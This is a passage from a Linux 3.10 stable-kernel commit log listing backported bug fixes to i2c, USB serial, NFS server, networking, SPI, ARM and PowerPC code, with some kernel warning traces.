situations and so makes the bus stuck until next I2C IP reset (idle/enable). For example, the issue will happen during SMBus read transfer which consists from two i2c messages write command/address and read data: S Slave Address Wr A Command Code A Sr Slave Address Rd A D1..Dn A P <--- write -----------------------> <--- read ---------------------> The I2C client device will send NACK if it can't recognize "Command Code" and it's expected from I2C master to generate STP in this case. But now, Davinci i2C driver will just exit with -EREMOTEIO and STP will not be generated. Hence, fix it by generating Stop condition (STP) always when NACK is received. This patch fixes Davinci I2C in the same way it was done for OMAP I2C commit cda2109a26eb ("i2c: omap: query STP always when NACK is received"). Reviewed-by: Uwe Kleine-König Reported-by: Hein Tibosch Signed-off-by: Grygorii Strashko Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 507618290e7a1590a2f0669afdcb2beede03a43a Author: Alexander Kochetkov Date: Fri Nov 21 04:16:51 2014 +0400 i2c: omap: fix i207 errata handling commit ccfc866356674cb3a61829d239c685af6e85f197 upstream. commit 6d9939f651419a63e091105663821f9c7d3fec37 (i2c: omap: split out [XR]DR and [XR]RDY) changed the way how errata i207 (I2C: RDR Flag May Be Incorrectly Set) get handled. 6d9939f6514 code doesn't correspond to workaround provided by errata. According to errata ISR must filter out spurious RDR before data read not after. ISR must read RXSTAT to get number of bytes available to read. Because RDR could be set while there could no data in the receive FIFO. Restored pre 6d9939f6514 way of handling errata. Found by code review. Real impact haven't seen. Tested on Beagleboard XM C. Signed-off-by: Alexander Kochetkov Fixes: 6d9939f651419a63e09110 i2c: omap: split out [XR]DR and [XR]RDY Tested-by: Felipe Balbi Reviewed-by: Felipe Balbi Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21fe672e1a946c1fc53489219389d15ad0a46f7b Author: Alexander Kochetkov Date: Tue Nov 18 21:00:58 2014 +0400 i2c: omap: fix NACK and Arbitration Lost irq handling commit 27caca9d2e01c92b26d0690f065aad093fea01c7 upstream. commit 1d7afc95946487945cc7f5019b41255b72224b70 (i2c: omap: ack IRQ in parts) changed the interrupt handler to complete transfers without clearing XRDY (AL case) and ARDY (NACK case) flags. XRDY or ARDY interrupts will be fired again. As a result, ISR keep processing transfer after it was already complete (from the driver code point of view). A didn't see real impacts of the 1d7afc9, but it is really bad idea to have ISR running on user data after transfer was complete. It looks, what 1d7afc9 violate TI specs in what how AL and NACK should be handled (see Note 1, sprugn4r, Figure 17-31 and Figure 17-32). According to specs (if I understood correctly), in case of NACK and AL driver must reset NACK, AL, ARDY, RDR, and RRDY (Master Receive Mode), and NACK, AL, ARDY, and XDR (Master Transmitter Mode). All that is done down the code under the if condition: if (stat & (OMAP_I2C_STAT_ARDY | OMAP_I2C_STAT_NACK | OMAP_I2C_STAT_AL)) ... The patch restore pre 1d7afc9 logic of handling NACK and AL interrupts, so no interrupts is fired after ISR informs the rest of driver what transfer complete. Note: instead of removing break under NACK case, we could just replace 'break' with 'continue' and allow NACK transfer to finish using ARDY event. I found that NACK and ARDY bits usually set together. That case confirm TI wiki: http://processors.wiki.ti.com/index.php/I2C_Tips#Detecting_and_handling_NACK In order if someone interested in the event traces for NACK and AL cases, I sent them to mailing list. Tested on Beagleboard XM C. Signed-off-by: Alexander Kochetkov Fixes: 1d7afc9 i2c: omap: ack IRQ in parts Acked-by: Felipe Balbi Tested-by: Aaro Koskinen Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c1226b48ad019d32bebe72ee49c7d446007f739 Author: Seth Forshee Date: Tue Nov 25 20:28:24 2014 -0600 xen-netfront: Remove BUGs on paged skb data which crosses a page boundary commit 8d609725d4357f499e2103e46011308b32f53513 upstream. These BUGs can be erroneously triggered by frags which refer to tail pages within a compound page. The data in these pages may overrun the hardware page while still being contained within the compound page, but since compound_order() evaluates to 0 for tail pages the assertion fails. The code already iterates through subsequent pages correctly in this scenario, so the BUGs are unnecessary and can be removed. Fixes: f36c374782e4 ("xen/netfront: handle compound page fragments on transmit") Signed-off-by: Seth Forshee Reviewed-by: David Vrabel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c95cb05ec87e7b2778512d2febfe0a84be9fecfc Author: Hugh Dickins Date: Tue Dec 2 15:59:39 2014 -0800 mm: fix swapoff hang after page migration and fork commit 2022b4d18a491a578218ce7a4eca8666db895a73 upstream. I've been seeing swapoff hangs in recent testing: it's cycling around trying unsuccessfully to find an mm for some remaining pages of swap. I have been exercising swap and page migration more heavily recently, and now notice a long-standing error in copy_one_pte(): it's trying to add dst_mm to swapoff's mmlist when it finds a swap entry, but is doing so even when it's a migration entry or an hwpoison entry. Which wouldn't matter much, except it adds dst_mm next to src_mm, assuming src_mm is already on the mmlist: which may not be so. Then if pages are later swapped out from dst_mm, swapoff won't be able to find where to replace them. There's already a !non_swap_entry() test for stats: move that up before the swap_duplicate() and the addition to mmlist. Signed-off-by: Hugh Dickins Cc: Kelley Nielsen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e8b52eb012c3bf42b737700086f4b7cc00c08961 Author: Weijie Yang Date: Tue Dec 2 15:59:25 2014 -0800 mm: frontswap: invalidate expired data on a dup-store failure commit fb993fa1a2f669215fa03a09eed7848f2663e336 upstream. If a frontswap dup-store failed, it should invalidate the expired page in the backend, or it could trigger some data corruption issue. Such as: 1. use zswap as the frontswap backend with writeback feature 2. store a swap page(version_1) to entry A, success 3. dup-store a newer page(version_2) to the same entry A, fail 4. use __swap_writepage() write version_2 page to swapfile, success 5. zswap do shrink, writeback version_1 page to swapfile 6. version_2 page is overwrited by version_1, data corrupt. This patch fixes this issue by invalidating expired data immediately when meet a dup-store failure. Signed-off-by: Weijie Yang Cc: Konrad Rzeszutek Wilk Cc: Seth Jennings Cc: Dan Streetman Cc: Minchan Kim Cc: Bob Liu Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11c7f2a90223a85f7a1f95e7022c8765e1924387 Author: Greg Kroah-Hartman Date: Sat Dec 6 15:55:43 2014 -0800 Linux 3.10.62 Signed-off-by: Pranav Vashi commit 19620c26a2909077073ea40a87457955801488e9 Author: Sergio Gelato Date: Wed Sep 24 08:47:24 2014 +0200 nfsd: Fix ACL null pointer deref BugLink: http://bugs.launchpad.net/bugs/1348670 Fix regression introduced in pre-3.14 kernels by cherry-picking aa07c713ecfc0522916f3cd57ac628ea6127c0ec (NFSD: Call ->set_acl with a NULL ACL structure if no entries). The affected code was removed in 3.14 by commit 4ac7249ea5a0ceef9f8269f63f33cc873c3fac61 (nfsd: use get_acl and ->set_acl). The ->set_acl methods are already able to cope with a NULL argument. Signed-off-by: Sergio Gelato [bwh: Rewrite the subject] Signed-off-by: Ben Hutchings Cc: Moritz Mühlenhoff Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 83104ac9445a1ee575db0ddd24eb7c78f5dc310c Author: Benjamin Herrenschmidt Date: Tue Oct 7 16:12:36 2014 +1100 powerpc/powernv: Honor the generic "no_64bit_msi" flag commit 360743814c4082515581aa23ab1d8e699e1fbe88 upstream. Instead of the arch specific quirk which we are deprecating and that drivers don't understand. Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5a3cab0203ed9fb83a95029726fdfa09ac081936 Author: Maurizio Lombardi Date: Thu Nov 20 11:17:33 2014 +0100 bnx2fc: do not add shared skbs to the fcoe_rx_list commit 01a4cc4d0cd6a836c7b923760e8eb1cbb6a47258 upstream. In some cases, the fcoe_rx_list may contains multiple instances of the same skb (the so called "shared skbs"). the bnx2fc_l2_rcv thread is a loop that extracts a skb from the list, modifies (and destroys) its content and then proceed to the next one. The problem is that if the skb is shared, the remaining instances will be corrupted. The solution is to use skb_share_check() before adding the skb to the fcoe_rx_list. [ 6286.808725] ------------[ cut here ]------------ [ 6286.808729] WARNING: at include/scsi/fc_frame.h:173 bnx2fc_l2_rcv_thread+0x425/0x450 [bnx2fc]() [ 6286.808748] Modules linked in: bnx2x(-) mdio dm_service_time bnx2fc cnic uio fcoe libfcoe 8021q garp stp mrp libfc llc scsi_transport_fc scsi_tgt sg iTCO_wdt iTCO_vendor_support coretemp kvm_intel kvm crct10dif_pclmul crc32_pclmul crc32c_intel e1000e ghash_clmulni_intel aesni_intel lrw gf128mul glue_helper ablk_helper ptp cryptd hpilo serio_raw hpwdt lpc_ich pps_core ipmi_si pcspkr mfd_core ipmi_msghandler shpchp pcc_cpufreq mperf nfsd auth_rpcgss nfs_acl lockd sunrpc dm_multipath xfs libcrc32c ata_generic pata_acpi sd_mod crc_t10dif crct10dif_common mgag200 syscopyarea sysfillrect sysimgblt i2c_algo_bit ata_piix drm_kms_helper ttm drm libata i2c_core hpsa dm_mirror dm_region_hash dm_log dm_mod [last unloaded: mdio] [ 6286.808750] CPU: 3 PID: 1304 Comm: bnx2fc_l2_threa Not tainted 3.10.0-121.el7.x86_64 #1 [ 6286.808750] Hardware name: HP ProLiant DL120 G7, BIOS J01 07/01/2013 [ 6286.808752] 0000000000000000 000000000b36e715 ffff8800deba1e00 ffffffff815ec0ba [ 6286.808753] ffff8800deba1e38 ffffffff8105dee1 ffffffffa05618c0 ffff8801e4c81888 [ 6286.808754] ffffe8ffff663868 ffff8801f402b180 ffff8801f56bc000 ffff8800deba1e48 [ 6286.808754] Call Trace: [ 6286.808759] [] dump_stack+0x19/0x1b [ 6286.808762] [] warn_slowpath_common+0x61/0x80 [ 6286.808763] [] warn_slowpath_null+0x1a/0x20 [ 6286.808765] [] bnx2fc_l2_rcv_thread+0x425/0x450 [bnx2fc] [ 6286.808767] [] ? bnx2fc_disable+0x90/0x90 [bnx2fc] [ 6286.808769] [] kthread+0xcf/0xe0 [ 6286.808770] [] ? kthread_create_on_node+0x140/0x140 [ 6286.808772] [] ret_from_fork+0x7c/0xb0 [ 6286.808773] [] ? kthread_create_on_node+0x140/0x140 [ 6286.808774] ---[ end trace c6cdb939184ccb4e ]--- Signed-off-by: Maurizio Lombardi Acked-by: Chad Dupuis Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4258dcf2a37f468db3b361965d807d4190587819 Author: J. Bruce Fields Date: Thu Aug 15 16:55:26 2013 -0400 nfsd4: fix leak of inode reference on delegation failure commit bf7bd3e98be5c74813bee6ad496139fb0a011b3b upstream. This fixes a regression from 68a3396178e6688ad7367202cdf0af8ed03c8727 "nfsd4: shut down more of delegation earlier". After that commit, nfs4_set_delegation() failures result in nfs4_put_delegation being called, but nfs4_put_delegation doesn't free the nfs4_file that has already been set by alloc_init_deleg(). This can result in an oops on later unmounting the exported filesystem. Note also delaying the fi_had_conflict check we're able to return a better error (hence give 4.1 clients a better idea why the delegation failed; though note CONFLICT isn't an exact match here, as that's supposed to indicate a current conflict, but all we know here is that there was one recently). Reported-by: Toralf Förster Tested-by: Toralf Förster Signed-off-by: J. Bruce Fields [tuomasjjrasanen: backported to 3.10 Conflicts fs/nfsd/nfs4state.c: Delegation type flags have been removed from upstream code. In 3.10-series, they still exists and therefore the commit caused few conflicts in function signatures. ] Signed-off-by: Tuomas Räsänen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7147b6dae63635e01d0057330ebea79ae3f04e40 Author: Trond Myklebust Date: Wed Nov 19 12:47:50 2014 -0500 nfsd: Fix slot wake up race in the nfsv4.1 callback code commit c6c15e1ed303ffc47e696ea1c9a9df1761c1f603 upstream. The currect code for nfsd41_cb_get_slot() and nfsd4_cb_done() has no locking in order to guarantee atomicity, and so allows for races of the form. Task 1 Task 2 ====== ====== if (test_and_set_bit(0) != 0) { clear_bit(0) rpc_wake_up_next(queue) rpc_sleep_on(queue) return false; } This patch breaks the race condition by adding a retest of the bit after the call to rpc_sleep_on(). Signed-off-by: Trond Myklebust Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ebb1933a31508e4e340ff78d0365f568cd627f2 Author: Stanislaw Gruszka Date: Tue Nov 11 14:28:47 2014 +0100 rt2x00: do not align payload on modern H/W commit cfd9167af14eb4ec21517a32911d460083ee3d59 upstream. RT2800 and newer hardware require padding between header and payload if header length is not multiple of 4. For historical reasons we also align payload to to 4 bytes boundary, but such alignment is not needed on modern H/W. Patch fixes skb_under_panic problems reported from time to time: https://bugzilla.kernel.org/show_bug.cgi?id=84911 https://bugzilla.kernel.org/show_bug.cgi?id=72471 http://marc.info/?l=linux-wireless&m=139108549530402&w=2 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1087591 Panic happened because we eat 4 bytes of skb headroom on each (re)transmission when sending frame without the payload and the header length not being multiple of 4 (i.e. QoS header has 26 bytes). On such case because paylad_aling=2 is bigger than header_align=0 we increase header_align by 4 bytes. To prevent that we could change the check to: if (payload_length && payload_align > header_align) header_align += 4; but not aligning payload at all is more effective and alignment is not really needed by H/W (that has been tested on OpenWrt project for few years now). Reported-and-tested-by: Antti S. Lankila Debugged-by: Antti S. Lankila Reported-by: Henrik Asp Originally-From: Helmut Schaa Signed-off-by: Stanislaw Gruszka Signed-off-by: John W. Linville Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a5426457e72f00f9447fb5289faa68f2fa33f3dd Author: Thomas Körper Date: Fri Oct 31 07:33:54 2014 +0100 can: dev: avoid calling kfree_skb() from interrupt context commit 5247a589c24022ab34e780039cc8000c48f2035e upstream. ikfree_skb() is Called in can_free_echo_skb(), which might be called from (TX Error) interrupt, which triggers the folloing warning: [ 1153.360705] ------------[ cut here ]------------ [ 1153.360715] WARNING: CPU: 0 PID: 31 at net/core/skbuff.c:563 skb_release_head_state+0xb9/0xd0() [ 1153.360772] Call Trace: [ 1153.360778] [] dump_stack+0x41/0x52 [ 1153.360782] [] warn_slowpath_common+0x7e/0xa0 [ 1153.360784] [] ? skb_release_head_state+0xb9/0xd0 [ 1153.360786] [] ? skb_release_head_state+0xb9/0xd0 [ 1153.360788] [] warn_slowpath_null+0x22/0x30 [ 1153.360791] [] skb_release_head_state+0xb9/0xd0 [ 1153.360793] [] skb_release_all+0x10/0x30 [ 1153.360795] [] kfree_skb+0x36/0x80 [ 1153.360799] [] ? can_free_echo_skb+0x28/0x40 [can_dev] [ 1153.360802] [] can_free_echo_skb+0x28/0x40 [can_dev] [ 1153.360805] [] esd_pci402_interrupt+0x34c/0x57a [esd402] [ 1153.360809] [] handle_irq_event_percpu+0x35/0x180 [ 1153.360811] [] ? handle_irq_event_percpu+0xa3/0x180 [ 1153.360813] [] handle_irq_event+0x31/0x50 [ 1153.360816] [] handle_fasteoi_irq+0x6f/0x120 [ 1153.360818] [] ? handle_edge_irq+0x110/0x110 [ 1153.360822] [] handle_irq+0x71/0x90 [ 1153.360823] [] do_IRQ+0x3c/0xd0 [ 1153.360829] [] common_interrupt+0x2c/0x34 [ 1153.360834] [] ? finish_task_switch+0x47/0xf0 [ 1153.360836] [] __schedule+0x35b/0x7e0 [ 1153.360839] [] ? console_unlock+0x2c4/0x4d0 [ 1153.360842] [] ? n_tty_receive_buf_common+0x890/0x890 [ 1153.360845] [] ? process_one_work+0x196/0x370 [ 1153.360847] [] schedule+0x23/0x60 [ 1153.360849] [] worker_thread+0x161/0x460 [ 1153.360852] [] ? __wake_up_locked+0x1f/0x30 [ 1153.360854] [] ? rescuer_thread+0x2f0/0x2f0 [ 1153.360856] [] kthread+0xa1/0xc0 [ 1153.360859] [] ret_from_kernel_thread+0x21/0x30 [ 1153.360861] [] ? kthread_create_on_node+0x110/0x110 [ 1153.360863] ---[ end trace 5ff83639cbb74b35 ]--- This patch replaces the kfree_skb() by dev_kfree_skb_any(). Signed-off-by: Thomas Körper Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8facb82f06096131df37fa21d60be406220d69dd Author: Thor Thayer Date: Thu Nov 6 13:54:27 2014 -0600 spi: dw: Fix dynamic speed change. commit 0a8727e69778683495058852f783eeda141a754e upstream. An IOCTL call that calls spi_setup() and then dw_spi_setup() will overwrite the persisted last transfer speed. On each transfer, the SPI speed is compared to the last transfer speed to determine if the clock divider registers need to be updated (did the speed change?). This bug was observed with the spidev driver using spi-config to update the max transfer speed. This fix: Don't overwrite the persisted last transaction clock speed when updating the SPI parameters in dw_spi_setup(). On the next transaction, the new speed won't match the persisted last speed and the hardware registers will be updated. On initialization, the persisted last transaction clock speed will be 0 but will be updated after the first SPI transaction. Move zeroed clock divider check into clock change test because chip->clk_div is zero on startup and would cause a divide-by-zero error. The calculation was wrong as well (can't support odd #). Reported-by: Vlastimil Setka Signed-off-by: Vlastimil Setka Signed-off-by: Thor Thayer Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 048ea96d7812d5d3cc2a424b8f1ccf5276c5e99b Author: Sagi Grimberg Date: Tue Oct 28 13:45:03 2014 -0700 iser-target: Handle DEVICE_REMOVAL event on network portal listener correctly commit 3b726ae2de02a406cc91903f80132daee37b6f1b upstream. In this case the cm_id->context is the isert_np, and the cm_id->qp is NULL, so use that to distinct the cases. Since we don't expect any other events on this cm_id we can just return -1 for explicit termination of the cm_id by the cma layer. Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 36490d35cfc902ca40d4e01e0953c33ae99937ea Author: Roland Dreier Date: Tue Oct 14 14:16:24 2014 -0700 target: Don't call TFO->write_pending if data_length == 0 commit 885e7b0e181c14e4d0ddd26c688bad2b84c1ada9 upstream. If an initiator sends a zero-length command (e.g. TEST UNIT READY) but sets the transfer direction in the transport layer to indicate a data-out phase, we still shouldn't try to transfer data. At best it's a NOP, and depending on the transport, we might crash on an uninitialized sg list. Reported-by: Craig Watson Signed-off-by: Roland Dreier Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit eb5068eac1ec87ca05f256f16025b2c3912bec7d Author: Bart Van Assche Date: Sun Oct 19 18:05:33 2014 +0300 srp-target: Retry when QP creation fails with ENOMEM commit ab477c1ff5e0a744c072404bf7db51bfe1f05b6e upstream. It is not guaranteed to that srp_sq_size is supported by the HCA. So if we failed to create the QP with ENOMEM, try with a smaller srp_sq_size. Keep it up until we hit MIN_SRPT_SQ_SIZE, then fail the connection. Reported-by: Mark Lehrer Signed-off-by: Bart Van Assche Signed-off-by: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d460a2519342b34ece215ac8c1ab84fcc00d5bd1 Author: Greg Kroah-Hartman Date: Tue Nov 25 00:38:17 2014 -0800 Input: xpad - use proper endpoint type commit a1f9a4072655843fc03186acbad65990cc05dd2d upstream. The xpad wireless endpoint is not a bulk endpoint on my devices, but rather an interrupt one, so the USB core complains when it is submitted. I'm guessing that the author really did mean that this should be an interrupt urb, but as there are a zillion different xpad devices out there, let's cover out bases and handle both bulk and interrupt endpoints just as easily. Signed-off-by: "Pierre-Loup A. Griffais" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35064c2840d7b1ec1fded5e5caf3b02975b3a0b3 Author: Thomas Petazzoni Date: Tue Nov 25 18:43:15 2014 +0100 ARM: 8222/1: mvebu: enable strex backoff delay commit 995ab5189d1d7264e79e665dfa032a19b3ac646e upstream. Under extremely rare conditions, in an MPCore node consisting of at least 3 CPUs, two CPUs trying to perform a STREX to data on the same shared cache line can enter a livelock situation. This patch enables the HW mechanism that overcomes the bug. This fixes the incorrect setup of the STREX backoff delay bit due to a wrong description in the specification. Note that enabling the STREX backoff delay mechanism is done by leaving the bit *cleared*, while the bit was currently being set by the proc-v7.S code. [Thomas: adapt to latest mainline, slightly reword the commit log, add stable markers.] Fixes: de4901933f6d ("arm: mm: Add support for PJ4B cpu and init routines") Signed-off-by: Nadav Haklai Signed-off-by: Thomas Petazzoni Acked-by: Gregory CLEMENT Acked-by: Jason Cooper Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7931260aba3eab2fab03a050e38ebe3ca3cbde53 Author: Dmitry Eremin-Solenikov Date: Fri Nov 21 15:29:00 2014 +0100 ARM: 8216/1: xscale: correct auxiliary register in suspend/resume commit ef59a20ba375aeb97b3150a118318884743452a8 upstream. According to the manuals I have, XScale auxiliary register should be reached with opc_2 = 1 instead of crn = 1. cpu_xscale_proc_init correctly uses c1, c0, 1 arguments, but cpu_xscale_do_suspend and cpu_xscale_do_resume use c1, c1, 0. Correct suspend/resume functions to also use c1, c0, 1. The issue was primarily noticed thanks to qemu reporing "unsupported instruction" on the pxa suspend path. Confirmed in PXA210/250 and PXA255 XScale Core manuals and in PXA270 and PXA320 Developers Guides. Harware tested by me on tosa (pxa255). Robert confirmed on pxa270 board. Tested-by: Robert Jarzmik Signed-off-by: Dmitry Eremin-Solenikov Acked-by: Robert Jarzmik Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d09d52e1bf139e24f2f5b6a813b1a4c1d68f3328 Author: Jurgen Kramer Date: Sat Nov 15 14:01:21 2014 +0100 ALSA: usb-audio: Add ctrl message delay quirk for Marantz/Denon devices commit 6e84a8d7ac3ba246ef44e313e92bc16a1da1b04a upstream. This patch adds a USB control message delay quirk for a few specific Marantz/Denon devices. Without the delay the DACs will not work properly and produces the following type of messages: Nov 15 10:09:21 orwell kernel: [ 91.342880] usb 3-13: clock source 41 is not valid, cannot use Nov 15 10:09:21 orwell kernel: [ 91.343775] usb 3-13: clock source 41 is not valid, cannot use There are likely other Marantz/Denon devices using the same USB module which exhibit the same problems. But as this cannot be verified I limited the patch to the devices I could test. The following two devices are covered by this path: - Marantz SA-14S1 - Marantz HD-DAC1 Signed-off-by: Jurgen Kramer Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0aa9254340e60bc5ee92728963c4ae67192c00c6 Author: Alexey Khoroshilov Date: Sat Oct 11 00:31:07 2014 +0400 can: esd_usb2: fix memory leak on disconnect commit efbd50d2f62fc1f69a3dcd153e63ba28cc8eb27f upstream. It seems struct esd_usb2 dev is not deallocated on disconnect. The patch adds the missing deallocation. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Acked-by: Matthias Fuchs Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 887e5090edb58c42ae108196aaee12f88c008cfb Author: Mathias Nyman Date: Tue Nov 18 11:27:11 2014 +0200 USB: xhci: don't start a halted endpoint before its new dequeue is set commit c3492dbfa1050debf23a5b5cd2bc7514c5b37896 upstream. A halted endpoint ring must first be reset, then move the ring dequeue pointer past the problematic TRB. If we start the ring too early after reset, but before moving the dequeue pointer we will end up executing the same problematic TRB again. As we always issue a set transfer dequeue command after a reset endpoint command we can skip starting endpoint rings at reset endpoint command completion. Without this fix we end up trying to handle the same faulty TD for contol endpoints. causing timeout, and failing testusb ctrl_out write tests. Fixes: e9df17e (USB: xhci: Correct assumptions about number of rings per endpoint.) Tested-by: Felipe Balbi Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit deeac12a8139d5c858229b6157a26fe413f1d9a7 Author: Hans de Goede Date: Mon Nov 24 11:22:38 2014 +0100 usb-quirks: Add reset-resume quirk for MS Wireless Laser Mouse 6000 commit 263e80b43559a6103e178a9176938ce171b23872 upstream. This wireless mouse receiver needs a reset-resume quirk to properly come out of reset. BugLink: https://bugzilla.redhat.com/show_bug.cgi?id=1165206 Signed-off-by: Hans de Goede Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 99322d1e05e953a7ece3bfd3151a8c21799b15bf Author: Troy Clark Date: Mon Nov 17 14:33:17 2014 -0800 usb: serial: ftdi_sio: add PIDs for Matrix Orbital products commit 204ec6e07ea7aff863df0f7c53301f9cbbfbb9d3 upstream. Add PIDs for new Matrix Orbital GTT series products. Signed-off-by: Troy Clark [johan: shorten commit message ] Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab2c9ab9662c9ba66953aafab1bfb082b523030d Author: Preston Fick Date: Fri Nov 7 23:26:11 2014 -0600 USB: serial: cp210x: add IDs for CEL MeshConnect USB Stick commit ffcfe30ebd8dd703d0fc4324ffe56ea21f5479f4 upstream. Signed-off-by: Preston Fick Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9572838fd7d6cabadae4b83e7c4e74b5cb8bd1ba Author: Johan Hovold Date: Tue Nov 18 11:25:19 2014 +0100 USB: keyspan: fix tty line-status reporting commit 5d1678a33c731b56e245e888fdae5e88efce0997 upstream. Fix handling of TTY error flags, which are not bitmasks and must specifically not be ORed together as this prevents the line discipline from recognising them. Also insert null characters when reporting overrun errors as these are not associated with the received character. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6c4c14cad00499bac693d34b9b73d69d0e0303b Author: Johan Hovold Date: Tue Nov 18 11:25:20 2014 +0100 USB: keyspan: fix overrun-error reporting commit 855515a6d3731242d85850a206f2ec084c917338 upstream. Fix reporting of overrun errors, which are not associated with a character. Instead insert a null character and report only once. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2dce4f00a68439fd55a642db8a73c0ffaafc507b Author: Johan Hovold Date: Tue Nov 18 11:25:21 2014 +0100 USB: ssu100: fix overrun-error reporting commit 75bcbf29c284dd0154c3e895a0bd1ef0e796160e upstream. Fix reporting of overrun errors, which should only be reported once using the inserted null character. Fixes: 6b8f1ca5581b ("USB: ssu100: set tty_flags in ssu100_process_packet") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0643556054855cf44425f19cf9b5ec826ea50f7 Author: Cristina Ciocan Date: Tue Nov 11 16:07:42 2014 +0200 iio: Fix IIO_EVENT_CODE_EXTRACT_DIR bit mask commit ccf54555da9a5e91e454b909ca6a5303c7d6b910 upstream. The direction field is set on 7 bits, thus we need to AND it with 0111 111 mask in order to retrieve it, that is 0x7F, not 0xCF as it is now. Fixes: ade7ef7ba (staging:iio: Differential channel handling) Signed-off-by: Cristina Ciocan Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32c3aec813fe944a8cd93d8fd2c4e8a3e8e433c5 Author: Laurent Dufour Date: Mon Nov 24 15:07:53 2014 +0100 powerpc/pseries: Fix endiannes issue in RTAS call from xmon commit 3b8a3c01096925a824ed3272601082289d9c23a5 upstream. On pseries system (LPAR) xmon failed to enter when running in LE mode, system is hunging. Inititating xmon will lead to such an output on the console: SysRq : Entering xmon cpu 0x15: Vector: 0 at [c0000003f39ffb10] pc: c00000000007ed7c: sysrq_handle_xmon+0x5c/0x70 lr: c00000000007ed7c: sysrq_handle_xmon+0x5c/0x70 sp: c0000003f39ffc70 msr: 8000000000009033 current = 0xc0000003fafa7180 paca = 0xc000000007d75e80 softe: 0 irq_happened: 0x01 pid = 14617, comm = bash Bad kernel stack pointer fafb4b0 at eca7cc4 cpu 0x15: Vector: 300 (Data Access) at [c000000007f07d40] pc: 000000000eca7cc4 lr: 000000000eca7c44 sp: fafb4b0 msr: 8000000000001000 dar: 10000000 dsisr: 42000000 current = 0xc0000003fafa7180 paca = 0xc000000007d75e80 softe: 0 irq_happened: 0x01 pid = 14617, comm = bash cpu 0x15: Exception 300 (Data Access) in xmon, returning to main loop xmon: WARNING: bad recursive fault on cpu 0x15 The root cause is that xmon is calling RTAS to turn off the surveillance when entering xmon, and RTAS is requiring big endian parameters. This patch is byte swapping the RTAS arguments when running in LE mode. Signed-off-by: Laurent Dufour Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 272d09849fc2ffcc1bf38d09d26f2add14f52c96 Author: Benjamin Herrenschmidt Date: Tue Oct 7 16:12:55 2014 +1100 powerpc/pseries: Honor the generic "no_64bit_msi" flag commit 415072a041bf50dbd6d56934ffc0cbbe14c97be8 upstream. Instead of the arch specific quirk which we are deprecating Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5253a4139ca186c03deff48ae6ec22f6be771232 Author: Benjamin Herrenschmidt Date: Fri Nov 14 17:55:03 2014 +1100 of/base: Fix PowerPC address parsing hack commit 746c9e9f92dde2789908e51a354ba90a1962a2eb upstream. We have a historical hack that treats missing ranges properties as the equivalent of an empty one. This is needed for ancient PowerMac "bad" device-trees, and shouldn't be enabled for any other PowerPC platform, otherwise we get some nasty layout of devices in sysfs or even duplication when a set of otherwise identically named devices is created multiple times under a different parent node with no ranges property. This fix is needed for the PowerNV i2c busses to be exposed properly and will fix a number of other embedded cases. Signed-off-by: Benjamin Herrenschmidt Acked-by: Grant Likely Signed-off-by: Rob Herring Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d48d336bae9dabfed922f41e64902e221d8b7ca6 Author: Fabio 